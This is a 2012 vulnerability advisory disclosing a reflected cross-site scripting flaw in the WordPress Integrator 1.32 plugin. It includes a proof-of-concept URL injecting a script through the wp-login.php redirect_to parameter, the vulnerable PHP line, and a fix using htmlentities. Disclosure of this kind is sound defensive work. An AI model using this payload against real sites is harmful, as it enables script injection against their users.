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SSCHADV2012-010 - WordPress plugin 'WordPress Integrator 1.32' XSS vulnerability

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Posted by Stefan Schurtz on Thursday, March 22. 2012

Advisory:	WordPress plugin ‘WordPress Integrator 1.32’ XSS vulnerability
Advisory ID:	SSCHADV2012-010
Author:	Stefan Schurtz
Affected Software:	Successfully tested on WordPress Integrator 1.32
Vendor URL:	http://wordpress.org/extend/plugins/wp-integrator/
Vendor Status:	informed
OSVDB ID:	80628

======================
Vulnerability Description
======================

The WordPress plugin ‘WordPress Integrator 1.32’ is prone to Cross-Site scripting vulnerability

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PoC-Exploit
==============

http://[target]/wordpress/wp-login.php?redirect_to=http://%3F1<ScrIpT>alert(666)</ScrIpT>

// vulnerable code in wp-integrator.php

function init_handler() {

                $url = parse_url($_SERVER["REQUEST_URI"]);

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Solution
=====

function init_handler() {

                $url = parse_url(htmlentities($_SERVER["REQUEST_URI"]));

================
Disclosure Timeline
================

19-Mar-2012 – vendor informed
20-Mar-2012 – informed plugins@wordpress.org

====
Credits
====

Vulnerability found and advisory written by Stefan Schurtz.

=======
References
=======

http://www.darksecurity.de/advisories/2012/SSCHADV2012-010.txt

http://osvdb.org/show/osvdb/80628

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